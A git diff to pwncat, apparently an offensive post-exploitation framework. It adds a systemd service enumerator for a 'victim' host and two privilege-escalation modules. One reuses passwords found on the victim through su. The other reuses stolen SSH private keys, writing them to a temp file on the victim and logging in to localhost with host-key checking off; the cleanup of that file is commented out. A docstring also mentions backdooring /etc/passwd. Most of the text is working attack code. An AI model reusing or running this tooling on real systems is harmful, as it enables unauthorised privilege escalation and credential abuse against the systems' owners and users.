diff --git a/pwncat/enumerate/private_key.py b/pwncat/enumerate/private_key.py index db32046..d0a8354 100644 --- a/pwncat/enumerate/private_key.py +++ b/pwncat/enumerate/private_key.py @@ -8,7 +8,7 @@ import pwncat from pwncat import util name = "pwncat.enumerate.private_key" -provides = "private_key" +provides = "system.user.private_key" per_user = True diff --git a/pwncat/enumerate/system/init.py b/pwncat/enumerate/system/init.py index 7bf4316..cb5e30d 100644 --- a/pwncat/enumerate/system/init.py +++ b/pwncat/enumerate/system/init.py @@ -37,7 +37,6 @@ def enumerate() -> Generator[FactData, None, None]: try: with pwncat.victim.open("/proc/1/comm", "r") as filp: comm = filp.read().strip() - print("what the fuck", comm) if comm is not None: if "systemd" in comm.lower(): init = util.Init.SYSTEMD diff --git a/pwncat/enumerate/system/systemd.py b/pwncat/enumerate/system/systemd.py new file mode 100644 index 0000000..3dbaf97 --- /dev/null +++ b/pwncat/enumerate/system/systemd.py @@ -0,0 +1,103 @@ +#!/usr/bin/env python3 +import dataclasses +from typing import Generator, List, Tuple, Optional + +from colorama import Fore + +import pwncat +from pwncat import util +from pwncat.enumerate import FactData + +name = "pwncat.enumerate.system" +provides = "system.service" +per_user = False + + +@dataclasses.dataclass +class ServiceData(FactData): + + name: str + """ The name of the service as given on the remote host """ + uid: int + """ The user this service is running as """ + state: str + """ Whether the service is running """ + pid: int + + def __str__(self): + if self.uid == 0: + color = Fore.RED + else: + color = Fore.GREEN + + line = f"Service {Fore.CYAN}{self.name}{Fore.RESET} as {color}{pwncat.victim.find_user_by_id(self.uid).name}{Fore.RESET}" + if self.state == "running": + color = Fore.GREEN + elif self.state == "dead": + color = Fore.YELLOW + else: + color = Fore.BLUE + line += f" ({color}{self.state}{Fore.RESET})" + return line + + +def enumerate() -> Generator[FactData, None, None]: + """ + Enumerate the services provided by systemd + :return: + """ + + try: + # Look for a enumerator providing the init type + iter = pwncat.victim.enumerate.iter("system.init") + fact = next(iter) + # Make sure to close the iterator + iter.close() + except StopIteration: + # We couldn't determine the init type + return + + # We want systemd + if fact.data.init != util.Init.SYSTEMD: + return + + # Request the list of services + # For the generic call, we grab the name, PID, user, and state + # of each process. If some part of pwncat needs more, it can + # request it specifically. + data = pwncat.victim.env( + [ + "systemctl", + "show", + "--type=service", + "--no-pager", + "--all", + "--value", + "--property", + "Id", + "--property", + "MainPID", + "--property", + "UID", + "--property", + "SubState", + "*", + ], + PAGER="", + ) + data = data.strip().decode("utf-8").split("\n") + + for i in range(0, len(data), 5): + if i >= (len(data) - 4): + print(data[i:]) + break + print(data[i : i + 4]) + name = data[i + 2].strip().rstrip(".service") + pid = int(data[i].strip()) + if "[not set]" in data[i + 1]: + uid = 0 + else: + uid = int(data[i + 1].strip()) + state = data[i + 3].strip() + + yield ServiceData(name, uid, state, pid) diff --git a/pwncat/privesc/__init__.py b/pwncat/privesc/__init__.py index 455642a..3dd1e97 100644 --- a/pwncat/privesc/__init__.py +++ b/pwncat/privesc/__init__.py @@ -285,7 +285,15 @@ class Finder: methods. Primarily, it will directly execute any techniques which provide the SHELL capability first. Afterwards, it will try to backdoor /etc/passwd if the target user is root. Lastly, it will try to escalate using a local - SSH server combined with READ/WRITE capabilities to gain a local shell. """ + SSH server combined with READ/WRITE capabilities to gain a local shell. + + This is, by far, the most disgusting function in all of `pwncat`. I'd like + to clean it up, but I'm not sure how to break this up. It's all one continuous + line of logic. It's meant to implement all possible privilege escalation methods + for one user given a list of techniques for that user. The largest chunk of this + is the SSH part, which needs to check that SSH exists, then try various methods + to either leak or write private keys for the given user. + """ readers: List[Technique] = [] writers: List[Technique] = [] diff --git a/pwncat/privesc/facts/__init__.py b/pwncat/privesc/facts/__init__.py new file mode 100644 index 0000000..9a8e8dc --- /dev/null +++ b/pwncat/privesc/facts/__init__.py @@ -0,0 +1,6 @@ +""" +This package contains privilege escalation methods based on enumeration facts. + +This could be passwords that the enumeration module found, or private keys or +anything else of use. +""" diff --git a/pwncat/privesc/facts/password.py b/pwncat/privesc/facts/password.py new file mode 100644 index 0000000..88af10f --- /dev/null +++ b/pwncat/privesc/facts/password.py @@ -0,0 +1,51 @@ +#!/usr/bin/env python3 +from typing import List + +from pwncat import util +from pwncat.gtfobins import Capability +from pwncat.privesc import BaseMethod, PrivescError, Technique +import pwncat + + +class Method(BaseMethod): + + name = "enumerated-passwords" + BINARIES = ["su"] + + def enumerate(self, capability: int = Capability.ALL) -> List[Technique]: + """ + Enumerate capabilities for this method. + + :param capability: the requested capabilities + :return: a list of techniques implemented by this method + """ + + # We only provide shell capability + if Capability.SHELL not in capability: + return [] + + techniques = [] + for fact in pwncat.victim.enumerate.iter(typ="system.user.password"): + util.progress(f"enumerating password facts: {str(fact.data)}") + techniques.append( + Technique(fact.data.user.name, self, fact.data, Capability.SHELL) + ) + util.erase_progress() + + return techniques + + def execute(self, technique: Technique) -> bytes: + """ + Escalate to the new user and return a string used to exit the shell + + :param technique: the technique to user (generated by enumerate) + :return: an exit command + """ + + # Escalate + try: + pwncat.victim.su(technique.user, technique.ident.password) + except PermissionError as exc: + raise PrivescError(str(exc)) + + return "exit\n" diff --git a/pwncat/privesc/facts/private_keys.py b/pwncat/privesc/facts/private_keys.py new file mode 100644 index 0000000..b3c2929 --- /dev/null +++ b/pwncat/privesc/facts/private_keys.py @@ -0,0 +1,83 @@ +#!/usr/bin/env python3 +from typing import List + +from pwncat import util +from pwncat.gtfobins import Capability +from pwncat.privesc import BaseMethod, PrivescError, Technique +import pwncat +from pwncat.util import Access + + +class Method(BaseMethod): + + name = "enumerated-private-key" + BINARIES = ["ssh"] + + def enumerate(self, capability: int = Capability.ALL) -> List[Technique]: + """ + Enumerate capabilities for this method. + + :param capability: the requested capabilities + :return: a list of techniques implemented by this method + """ + + for fact in pwncat.victim.enumerate.iter("system.service"): + if "ssh" in fact.data.name and fact.data.running: + break + else: + raise PrivescError("no sshd service running") + + # We only provide shell capability + if Capability.SHELL not in capability: + return [] + + techniques = [] + for fact in pwncat.victim.enumerate.iter(typ="system.user.private_key"): + util.progress(f"enumerating private key facts: {str(fact.data)}") + techniques.append( + Technique(fact.data.user.name, self, fact.data, Capability.SHELL) + ) + + return techniques + + def execute(self, technique: Technique) -> bytes: + """ + Escalate to the new user and return a string used to exit the shell + + :param technique: the technique to user (generated by enumerate) + :return: an exit command + """ + + # Check if we have access to the remote file + access = pwncat.victim.access(technique.ident.path) + if Access.READ in access: + privkey_path = technique.ident.path + else: + content = technique.ident.content.replace("\r\n", "\n").rstrip("\n") + "\n" + with pwncat.victim.tempfile("w", length=len(content)) as filp: + filp.write(content) + privkey_path = filp.name + pwncat.victim.env(["chmod", "600", privkey_path]) + pwncat.victim.tamper.created_file(privkey_path) + + try: + ssh_command = [ + "ssh", + "-i", + privkey_path, + "-o", + "StrictHostKeyChecking=no", + "-o", + "PasswordAuthentication=no", + f"{technique.user}@127.0.0.1", + ] + + # Attempt to SSH as this user + pwncat.victim.env(ssh_command, wait=False) + finally: + # Cleanup the private key + # if privkey_path != technique.ident.path: + # pwncat.victim.env(["rm", "-f", privkey_path]) + pass + + return "exit\n"